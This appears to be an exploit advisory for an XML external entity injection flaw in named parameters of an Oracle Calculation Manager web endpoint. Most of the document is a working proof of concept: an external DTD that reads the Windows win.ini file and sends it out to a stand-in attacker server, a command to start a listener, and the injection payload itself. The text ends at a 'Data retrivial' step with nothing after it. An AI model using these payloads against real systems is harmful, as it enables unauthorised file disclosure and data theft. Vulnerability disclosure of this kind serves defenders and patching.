# XML External Entity (XXE) Injection


The event.pt1:pt_region0:1:pc2:fvtbl, event.pt1:pt_region0:1:findBtn1 and oracle.adf.view.rich.monitoring.UserActivityInfo parameters are prone to XXE injection. An authenticated attacker could exploit this vulnerability to disclose internal files using the file URI handler, internal file shares, internal port scanning, remote code execution and denial of service attacks.

Path: http://host:19000/calcmgr/faces/cmshell?_adf.ctrl-state=i38w0cig2_4

Parameters: event.pt1:pt_region0:1:pc2:fvtbl, event.pt1:pt_region0:1:findBtn1 and oracle.adf.view.rich.monitoring.UserActivityInfo (POST REQUEST)


# Proof-of-concept


1 - Create a file and name it as xxe_poc with the following content, replacing with your server address:


<!ENTITY % payload SYSTEM "file:///c:\\Windows\\win.ini">
<!ENTITY % param1 "<!ENTITY &#x25; external SYSTEM 'http://your_server_address/log_xxe?data=%payload;'>">


2 - Start a webserver to receive the connection, such as:


sudo python -m SimpleHTTPServer 80


3 - Place the following payload in one of the vulnerable parameters, replacing with your server address:


<!DOCTYPE foo [ <!ENTITY % pe SYSTEM "http://your_server_address/xxe_poc"> %pe; %param1; %external;]><m xmlns="http://oracle.com/richClient/comm"><k v="type"><s>action</s></k></m>


4 - Data retrivial:
